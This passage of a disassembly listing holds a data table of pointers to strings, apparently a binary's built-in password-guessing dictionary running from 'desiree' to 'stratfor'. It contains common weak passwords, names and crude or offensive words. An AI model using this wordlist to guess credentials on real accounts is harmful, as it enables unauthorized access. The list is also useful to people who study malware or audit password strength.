dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay_0 ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail_0 ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp_0 ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
off_430050 dd offset aOffice ; DATA XREF: ___:0042606Co
; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
off_43005C dd offset aOlivetti ; DATA XREF: ___:off_425F08o
; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning_0 ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial_0 ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
dd offset aSlut ; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
dd offset aSmile ; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
